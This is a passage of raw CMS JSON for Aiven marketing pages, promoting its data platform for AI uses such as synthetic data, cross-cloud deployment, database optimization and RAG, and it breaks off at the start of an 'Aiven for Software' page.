center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-907b109859c7c50cbd2b57e47816045d018cb075-2160x904-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"4914609dfbe3","_type":"block","children":[{"_key":"2570a3ccbb860","_type":"span","marks":[],"text":"Address AI bias and data security concerns with synthetic data generation"}],"markDefs":[],"style":"h4"},{"_key":"65c757e4a50e","_type":"block","children":[{"_key":"c7f3f1a816580","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7931317ab91a","_type":"block","children":[{"_key":"593ae40741710","_type":"span","marks":[],"text":"Synthetic data, a replica of real-world data, is essential for training AI systems when actual data is costly, biased, or restricted by privacy regulations. By generating synthetic data, organizations can build realistic and secure AI models even when working with limited or sensitive datasets."}],"markDefs":[],"style":"normal"},{"_key":"ccd592dcd451","_type":"block","children":[{"_key":"51203d22993c0","_type":"span","marks":[],"text":"Aiven's platform empowers you to seamlessly switch between synthetic and real data feeds, accelerating your AI development and ensuring continuous progress."}],"markDefs":[],"style":"normal"},{"_key":"bn9k3hda22f7djlyvdw8ow0m92khck93","_type":"block","children":[{"_key":"ydsewvrizrelbotlh9gh6owjsbh3slry","_type":"span","marks":[],"text":"Learn more:"}],"markDefs":[],"style":"h6"},{"_key":"fb27f0a36352","_type":"block","children":[{"_key":"c6a82791b0430","_type":"span","marks":["0da61e51661b"],"text":"Sample dataset generator for Aiven for Apache Kafka®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0da61e51661b","_type":"link","href":"https://aiven.io/docs/products/kafka/howto/fake-sample-data"}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"synthetic-data-generation","imageHeight":35,"title":"Synthetic Data Generation"},{"_key":"z5j7p8phgqo0hfbtfudmy8ibwchlu61x","_type":"tabItem","content":[{"_key":"8nnvppp6tak8j4dh1xs42it9tfr1l41r","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-f12f4fe8e16e179a304104b9f2eb387b200c78c4-962x1212-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"4cc6179f0bd1","_type":"block","children":[{"_key":"d71a8a717f5c0","_type":"span","marks":[],"text":"Adopt cost effective AI with a cross-cloud data platform"}],"markDefs":[],"style":"h4"},{"_key":"4c5b36d896c7","_type":"block","children":[{"_key":"a08dc207dcd2","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"6b8d1edb6631","_type":"block","children":[{"_key":"dca518e62e6c0","_type":"span","marks":[],"text":"The world of AI is constantly evolving, with new models, tools, and cost-saving opportunities emerging regularly. A cross-cloud data platform enables you to bring your data to any AI solution both securely and cost-effectively."}],"markDefs":[],"style":"normal"},{"_key":"27145c3af4d9","_type":"block","children":[{"_key":"364f1440893f0","_type":"span","marks":[],"text":"Aiven's Data and AI platform offers unmatched flexibility. Easily move data across clouds to meet specific needs with a simple configuration change. Our real-time streaming services ensure your data sources and destinations are always in sync, regardless of their location."}],"markDefs":[],"style":"normal"},{"_key":"zu7mvltlbdrx0g1tk7i7qywll7dutgpa","_type":"block","children":[{"_key":"yqtd5udmcevdit5ifpmzv4z88nrdn8z1","_type":"span","marks":[],"text":"Learn more:"}],"markDefs":[],"style":"h6"},{"_key":"pdy5hxauiofqi9mgf8wrvedl75i5s06f","_type":"block","children":[{"_key":"bapyg3bnt2hlol6kexid7fir35k9rs3m","_type":"span","marks":["6a8b6f0aae8b"],"text":"Deploy Services to Multiple Clouds and Regions"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6a8b6f0aae8b","_type":"internalLink","internalLink":{"_ref":"7f525a3a-c78e-4031-b8c6-458db8ca7430","_type":"reference"}}],"style":"normal"},{"_key":"b61k9v7zbz22d9w4o2ztj4tsz69vfifv","_type":"block","children":[{"_key":"9ofxk6nyh1vcqftmug28em9sczsbey2f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"hfjoj5x83peeqmgqh86ltir8yspal0jd","_type":"block","children":[{"_key":"jz7vc01t5inpdc52my3hytcukgct6oo1","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"cross-cloud-solutions","imageHeight":35,"title":"No Cloud Boundaries"},{"_key":"f64c272d5043","_type":"tabItem","content":[{"_key":"8e86d5f8fa4b","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-4326c322324be5a40c97b0a775b1d2d9b49b2036-802x1042-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"2fd230fc6fe5","_type":"block","children":[{"_key":"b951d6f129770","_type":"span","marks":[],"text":"Write performant code and resolve CloudOps issues faster"}],"markDefs":[],"style":"h4"},{"_key":"65d1d9d70e83","_type":"block","children":[{"_key":"2a07544aeacc0","_type":"span","marks":[],"text":"Aiven's AI Database Optimizer empowers developers to write performant code faster with AI-driven index and SQL rewrite suggestions. CloudOps teams also gain real-time performance insights and optimization recommendations, leading to quicker incident resolution. "}],"markDefs":[],"style":"normal"},{"_key":"97bd4ab30134","_type":"block","children":[{"_key":"900529a072ac","_type":"span","marks":[],"text":"This proactive approach allows you to fine-tune applications for optimal performance and scalability before they even hit production. The result? Your DBAs can dedicate their time to strategic initiatives instead of firefighting, maximizing the efficiency of your entire team."}],"markDefs":[],"style":"normal"},{"_key":"07c252acf18a","_type":"block","children":[{"_key":"af8ab6dca8ec0","_type":"span","marks":[],"text":"Learn more:"}],"markDefs":[],"style":"h6"},{"_key":"8f18e129193c","_type":"block","children":[{"_key":"524659345a030","_type":"span","marks":[],"text":"Check out the "},{"_key":"524659345a031","_type":"span","marks":["9894b1189d54","f2404cc6c2bb"],"text":"Aiven AI Database Optimizer"},{"_key":"524659345a032","_type":"span","marks":[],"text":" to understand how to tune your PostgreSQL and MySQL databases"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9894b1189d54","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"},{"_key":"f2404cc6c2bb","_type":"internalLink","internalLink":{"_ref":"e1b9d5ed-f457-4a71-9b77-9e6bb54fca2e","_type":"reference"}}],"style":"normal"},{"_key":"1cdbc4ac6384","_type":"block","children":[{"_key":"7e22402c106e0","_type":"span","marks":["8d77bf65cb41"],"text":"Speed up your MySQL and PostgreSQL queries"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8d77bf65cb41","_type":"link","href":"https://www.youtube.com/watch?v=wQov6x0dU8U"}],"style":"normal"},{"_key":"a49a7f705a8f","_type":"block","children":[{"_key":"2af398872a090","_type":"span","marks":["94519180eabf"],"text":"How to Enhance MySQL performance by 23x"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"94519180eabf","_type":"link","href":"https://community.aws/content/2aOjqjbBPh58opBm2TjgHJvTyUE/how-i-used-ai-to-make-my-amazon-rds-for-mysql-query-23x-faster"}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai-database-optimizer","imageHeight":35,"title":"Database Optimization"},{"_key":"5b5f8ba46af2","_type":"tabItem","content":[{"_key":"4f2bc70a62f1","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-14b1c2657819ea9fb9024f25421be42bb47d6641-906x1198-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"569bf6d89106","_type":"block","children":[{"_key":"ad93360865ab0","_type":"span","marks":[],"text":"Provide real-time and governed data to your AI"}],"markDefs":[],"style":"h4"},{"_key":"9819d98792aa","_type":"block","children":[{"_key":"cb3a1cf03f420","_type":"span","marks":[],"text":"Training your AI model requires historical data, as well as real-time insights to ensure it stays current. With Aiven, you can integrate data from various sources, while ensuring the protection of sensitive information, to create a comprehensive picture of your business operations."}],"markDefs":[],"style":"normal"},{"_key":"a5ff0b8ac503","_type":"block","children":[{"_key":"0539edc6477b","_type":"span","marks":[],"text":"Aiven also provides a seamless layer of abstraction between data sources and your AI, allowing for innovation without altering your underlying data structure."}],"markDefs":[],"style":"normal"},{"_key":"23b5e5aafe6f","_type":"block","children":[{"_key":"00dab3af29130","_type":"span","marks":[],"text":"Learn more:"}],"markDefs":[],"style":"h6"},{"_key":"452d1360ab63","_type":"block","children":[{"_key":"3e37779d41730","_type":"span","marks":["34e4f5c684fa","a6b7ef3c1e36"],"text":"Build a real-time AI pipeline with Apache Flink® and OpenAI"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"34e4f5c684fa","_type":"link","href":"https://aiven.io/developer/building-a-real-time-pipeline-for-data-analysis-with-gpt-models"},{"_key":"a6b7ef3c1e36","_type":"internalLink","internalLink":{"_ref":"da197f06-0086-41af-b8e9-4b7a1f21d2f1","_type":"reference"}}],"style":"normal"},{"_key":"eefd07aff46e","_type":"block","children":[{"_key":"d15c97d780e10","_type":"span","marks":["546838aaff0d","42c63e6ebb4f"],"text":"Consistent CDC with Apache Kafka, Debezium, and the outbox pattern"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"546838aaff0d","_type":"link","href":"https://aiven.io/developer/cdc-multiple-postgresql-tables-logical-decoding"},{"_key":"42c63e6ebb4f","_type":"internalLink","internalLink":{"_ref":"1c9dd13c-41ec-4b0c-9d04-c47d0579291b","_type":"reference"}}],"style":"normal"},{"_key":"ec95d22312ba","_type":"block","children":[{"_key":"e849475345cd0","_type":"span","marks":["03fe20f4a419","17e40d37aba9"],"text":"Move from batch to streaming with Apache Kafka and Apache Flink"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"03fe20f4a419","_type":"link","href":"https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink"},{"_key":"17e40d37aba9","_type":"internalLink","internalLink":{"_ref":"5ee6de8e-7637-4e70-a253-b3bd1e7d220f","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"real-time-data","imageHeight":35,"title":"Real Time AI Feeds"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"How does it all work together","topOverlap":false,"variant":"button-toggle"},{"_key":"g4v5y7bgwvlar1071clarjhh3b06d7hv","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"8683318429e1","_type":"testimonialItem","company":{"_ref":"727f3f76-3bb5-4b94-a943-59f28858872a","_type":"reference"},"content":[{"_key":"a68f88e388e0","_type":"block","children":[{"_key":"3a2baed24cdc0","_type":"span","marks":[],"text":"With over 10 million customers across 26 countries, La Redoute is an e-commerce leader in home, decoration and fashion. To handle the dynamic demands of peak shopping seasons, La Redoute turned to Aiven's BYOC model for its rapid deployment and cost-optimized infrastructure."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"7455e64b-e73e-4edd-86fa-be656d250d3c","_type":"reference"},"title":"Read case study"},"image":{"_type":"mainImage","asset":{"_ref":"image-ce3c3156538fd01b4b7c4db0c7bb350590fcb050-1200x628-png","_type":"reference"}}}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showCompanyLogoAndTags":true,"title":"See why industry leaders trust Aiven","variant":"media"},{"_key":"3m7r1p0abc3xz4h5hwuc1nijf50fqqap","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":true,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"5sfjtpkbbsj2jsy92mmlm5z0n8dcbcg3","_type":"block","children":[{"_key":"8142cdb52b70","_type":"span","marks":[],"text":"Aiven has been a great partner, providing "},{"_key":"bd65a47d5aca","_type":"span","marks":["strong"],"text":"performant scalable vector and hybrid search"},{"_key":"df6aac23075a","_type":"span","marks":[],"text":" powered by OpenSearch. Best of all, our customers can "},{"_key":"c2fa37f0f845","_type":"span","marks":["strong"],"text":"select any cloud or region"},{"_key":"021bbe407978","_type":"span","marks":[],"text":" based on their requirements for their data.\n\nNilesh Bansal, founder of workOrb"}],"markDefs":[],"style":"blockquote"}],"title":"See why industry leaders trust Aiven ","topOverlap":false,"variant":"centerColumn"},{"_key":"ddb3657b8b596f2aacc59a75a13d22bd","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-0f70a5b9c1a9217b672f003537098db10e75ca30-1226x1394-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Reduce GenAI Hallucination with contextual information","text":[{"_key":"2ca3b4b2dcfe","_type":"block","children":[{"_key":"43f253f84e240","_type":"span","marks":[],"text":"Store Generative AI embeddings alongside your operational data, without onboarding new technologies"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"12087fd01c5a","_type":"block","children":[{"_key":"55a4d35037f3","_type":"span","marks":[],"text":"Enrich Gen AI context and avoid hallucination by performing semantic search at scale"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5df771c71bcb","_type":"block","children":[{"_key":"b003b43e3807","_type":"span","marks":[],"text":"Retrieve real-time, tailored, and transactionally accurate results by mixing vector and standard queries through hybrid search"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d6f35a559e14","_type":"block","children":[{"_key":"c9c986a8f12f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5d7266c52552","_type":"block","children":[{"_key":"558d117c78ad","_type":"span","marks":[],"text":"Examples:"}],"markDefs":[],"style":"normal"},{"_key":"77efaea46a56","_type":"block","children":[{"_key":"ef38dd1c4ff40","_type":"span","marks":["105535e393ac"],"text":"Applying RAG pattern to navigate your knowledge store"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"105535e393ac","_type":"link","href":"https://aiven.io/developer/rag-bedrock-opensearch"}],"style":"normal"},{"_key":"c9664795f1d7","_type":"block","children":[{"_key":"f4a143fd2bf5","_type":"span","marks":["a9fe6fa621e3"],"text":"Reduce GenAI hallucination with retrieval-augmented generation and Aiven for OpenSearch"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a9fe6fa621e3","_type":"internalLink","internalLink":{"_ref":"a34b0b22-60ab-471c-b0a2-9704d9139e02","_type":"reference"}}],"style":"normal"},{"_key":"d8e61eaaac2d","_type":"block","children":[{"_key":"5496dc938a71","_type":"span","marks":["7c3e70bc162f"],"text":"Build a recommendation system with Aiven for ClickHouse and HuggingFace"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"7c3e70bc162f","_type":"internalLink","internalLink":{"_ref":"25ac0060-4896-40d9-9c76-65ab0d7c8ccc","_type":"reference"}}],"style":"normal"},{"_key":"bf820020c778","_type":"block","children":[{"_key":"18d1ae26a9c40","_type":"span","marks":["cd8910f9648a"],"text":"Image recognition with OpenAI and PostgreSQL"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"cd8910f9648a","_type":"internalLink","internalLink":{"_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"reference"}}],"style":"normal"}],"title":"Perform Retrieval Augmented Generation (RAG) directly from your operational data layer","variant":"mediaLeft"},{"_key":"e40f98c57f28","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-14b1c2657819ea9fb9024f25421be42bb47d6641-906x1198-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","tagline":"Remove data silos with Aiven for Apache Kafka","text":[{"_key":"ce2264e820ac","_type":"block","children":[{"_key":"1aa415099fc50","_type":"span","marks":[],"text":"Join data from external and internal sources while removing sensitive information to get a holistic view of your business"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c0f3c2f5313f","_type":"block","children":[{"_key":"1e37c2bf436e","_type":"span","marks":[],"text":"Evolve your existing applications to use AI without changing or impacting legacy software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a1e51b627fef","_type":"block","children":[{"_key":"4be99f1c75ad","_type":"span","marks":[],"text":"Create your AI model using historical data, and keep the model current using real-time data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d5301de5e977","_type":"block","children":[{"_key":"c3aa6d55e99d","_type":"span","marks":[],"text":"Provide a layer of abstraction between data sources and the AI serving layer without changing the underlying data structure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a5191ebe6460","_type":"block","children":[{"_key":"86ee812be844","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0498ec6a77cd","_type":"block","children":[{"_key":"c6c8c4155b95","_type":"span","marks":[],"text":"Examples:"}],"markDefs":[],"style":"normal"},{"_key":"4fd41d5074c7","_type":"block","children":[{"_key":"04363bd637ef","_type":"span","marks":["f1508a775aa0"],"text":"Build a real-time AI pipeline with Apache Flink® and OpenAI"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"f1508a775aa0","_type":"link","href":"https://aiven.io/developer/building-a-real-time-pipeline-for-data-analysis-with-gpt-models"}],"style":"normal"},{"_key":"139da053f7cb","_type":"block","children":[{"_key":"1a55ddf950f90","_type":"span","marks":["b83b989f8d09"],"text":"Consistent CDC with Apache Kafka, Debezium, and the outbox pattern"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b83b989f8d09","_type":"internalLink","internalLink":{"_ref":"1c9dd13c-41ec-4b0c-9d04-c47d0579291b","_type":"reference"}}],"style":"normal"},{"_key":"60dffff758c9","_type":"block","children":[{"_key":"887fd735dd380","_type":"span","marks":["38d2f10724da"],"text":"Move from batch to streaming with Apache Kafka and Apache Flink"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"38d2f10724da","_type":"internalLink","internalLink":{"_ref":"5ee6de8e-7637-4e70-a253-b3bd1e7d220f","_type":"reference"}}],"style":"normal"}],"title":"Provide real-time and governed data to your AI","variant":"mediaLeft"},{"_key":"4c5479d808936aeab8dd0f8667098ba1","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-4326c322324be5a40c97b0a775b1d2d9b49b2036-802x1042-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","tagline":"Accelerate scalable application development and maintenance with Aiven for AI","text":[{"_key":"d48d4596e6ea","_type":"block","children":[{"_key":"9c0fff5beedb","_type":"span","marks":[],"text":"Accelerate writing performant code by providing developers with index and SQL rewrite suggestions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"50dbbb5d0b67","_type":"block","children":[{"_key":"b04a8cefccae","_type":"span","marks":[],"text":"Reduce the time to CloudOps incident resolution through real-time performance insights and optimization suggestions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"38f14ad36491","_type":"block","children":[{"_key":"1fef6556f196","_type":"span","marks":[],"text":"Optimize applications for performance and scalability before releasing them into production"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0289f40e7991","_type":"block","children":[{"_key":"963b9e7e52dd","_type":"span","marks":[],"text":"Free up your DBA resources to spend more time on high-value tasks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2b0b1b6255a4","_type":"block","children":[{"_key":"d1aa472966e9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"4df8ddcb0693","_type":"block","children":[{"_key":"9d48fdf205ad","_type":"span","marks":[],"text":"Check out the "},{"_key":"c238b7eb8bc5","_type":"span","marks":["c98c0dcffdd4"],"text":"Aiven AI Database Optimizer"},{"_key":"e2a822bf0eb0","_type":"span","marks":[],"text":" to understand how to tune your PostgreSQL and MySQL databases."}],"markDefs":[{"_key":"c98c0dcffdd4","_type":"link","href":"https://aiven.io/solutions/aiven-ai-database-optimizer"}],"style":"normal"},{"_key":"a2295e270f6a","_type":"block","children":[{"_key":"b0392e7b878a","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0498ec6a77cd","_type":"block","children":[{"_key":"c6c8c4155b95","_type":"span","marks":[],"text":"Examples:"}],"markDefs":[],"style":"normal"},{"_key":"ee2d25683190","_type":"block","children":[{"_key":"5640ceeddea7","_type":"span","marks":["0321e1a9da3d"],"text":"Speed up your MySQL and PostgreSQL queries"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0321e1a9da3d","_type":"link","href":"https://www.youtube.com/watch?v=wQov6x0dU8U"}],"style":"normal"},{"_key":"8d15e29a630b","_type":"block","children":[{"_key":"ce802e45e27b0","_type":"span","marks":["a43a690f4ea1"],"text":"How to Enhance MySQL performance by 23x"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a43a690f4ea1","_type":"link","href":"https://community.aws/content/2aOjqjbBPh58opBm2TjgHJvTyUE/how-i-used-ai-to-make-my-amazon-rds-for-mysql-query-23x-faster"}],"style":"normal"}],"title":"Write performant code and resolve CloudOps issues faster","variant":"mediaLeft"},{"_key":"ec53127de959","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"e111a785ce4c","_ref":"99e530bc-a7ca-46f6-8600-3ac3f82681f4","_type":"devArticle"},{"_key":"ff02a16211f7","_ref":"4d249ba0-1b34-47af-8ff0-a5eae6a7d82a","_type":"devArticle"},{"_key":"13fe83f79654","_ref":"25ac0060-4896-40d9-9c76-65ab0d7c8ccc","_type":"devArticle"},{"_key":"ab7d17e63746","_ref":"a34b0b22-60ab-471c-b0a2-9704d9139e02","_type":"devArticle"},{"_key":"dc477260696a","_ref":"28a828cd-0a1a-477e-8c4b-91acfc1882bc","_type":"devArticle"},{"_key":"0dc2db0e3675","_ref":"fe0e3023-05d0-4a30-830b-6c03fb4e23c7","_type":"devArticle"},{"_key":"d2333c0e3617","_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"devArticle"},{"_key":"5776cd64d0b1","_ref":"168fd4e3-223d-4475-bedb-b07ae2bdbb69","_type":"devArticle"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/developer/ai","title":"Explore more AI resources"},"title":"Explore these real-world applications","topOverlap":false},{"_key":"ehe0xd623tx934fjlp8i46r2efur4pek","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"subtitle":[{"_key":"sc08kxn02did5tukaahmo9hu8sdhyhc7","_type":"block","children":[{"_key":"kg65dvtx1tq38fy1akgvqymy9r1qxtu3","_type":"span","marks":[],"text":"All inclusive pricing so you have no end of the month surprises.\nNo add-on maintenance, networking and storage fees."}],"markDefs":[],"style":"normal"}],"title":"Get started with Aiven today","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Discover how to use the Aiven Platform for your AI-powered application. Check Aiven’s AI integrations and use cases for bringing your data to the AI era.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0a3d6ca54ab4ff371e561d8d76cb00e2160af84e-2500x1313-jpg","_type":"reference"}},"metaTitle":"Aiven for AI"},"slug":{"_type":"slug","current":"/solutions/aiven-for-ai"},"title":"Aiven for AI"} {"__i18n_lang":"en","_createdAt":"2024-06-24T13:20:59Z","_id":"7ddc00ac-3928-428c-8d61-d860d0011492","_rev":"U360V83F77Z1JcZt4LsaWZ","_type":"solution","_updatedAt":"2024-10-31T21:14:02Z","content":[{"_key":"tyn3k5jfjxz6zmtjyu6nydy5bot07jsa","_type":"hero","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center bottom","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Aiven for Software","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"1a26c0b25332","_type":"block","children":[{"_key":"493c2a49b8d10","_type":"span","marks":["color-primary"],"text":"Streamline"},{"_key":"adfa46547b34","_type":"span","marks":[],"text":" "},{"_key":"9e642f13e52a","_type":"span","marks":["color-primary"],"text":"Software Development"},{"_key":"9c0d9f18ffbe","_type":"span","marks":[],"text":" with Aiven"}],"markDefs":[],"style":"h1"},{"_key":"7d7cf9c1c126","_type":"block","children":[{"_key":"444aa5950eae0","_type":"span","marks":[],"text":"Explore how Aiven’s Data and AI platform reduces infrastructure expenses and improves resource utilization to accelerate time to market.\n"}],"markDefs":[],"style":"normal"}],"heroHasVideo":true,"imageSize":"large","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Discover Aiven Platform"},"roundedCorners":"rounded-b","title":"Streamline Software Development on Aiven","titleMultiColor":true,"variant":"default","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"0uxpejhk3s","id":126122486},"ytId":"LTmREm3BchY"},{"_key":"fqcy9dnjf2l8aarxtr2j9lcmtgev9833","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":false,"headerPosition":"left","items":[{"_key":"6immwyr23abb4zltktf2na1dvfsno5mw","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"id":"categories","open":false,"panelText":[{"_key":"3c8182a9bf39","_type":"block","children":[{"_key":"90331ef31e8b0","_type":"span","marks":[],"text":"Legacy applications struggle with scalability, security, and integration with the latest technologies. Modernizing your applications and moving to a service-oriented architecture enables scalability on demand and accelerates time-to-market."}],"markDefs":[],"style":"normal"},{"_key":"67a313598984","_type":"block","children":[{"_key":"4da61f31244b0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"App Modernization"},{"_key":"n91g78bqbkt5h4az075p4v1p2z32vy67","_type":"accordionItem","iconImage":{"_type":"image","asset":{"_ref":"image-63e29680941dc4ed980568036329faccb1d05915-22x22-svg","_type":"reference"}},"id":"unify","panelText":[{"_key":"d938169596d9","_type":"block","children":[{"_key":"3f69cc403a590","_type":"span","marks":[],"text":"Engineering teams are bogged down with managing in-house infrastructure and services. By re-distributing resources, streamline your infrastructure needs and free up valuable engineering talent to focus on product innovation."}],"markDefs":[],"style":"normal"}],"title":"Resourcing 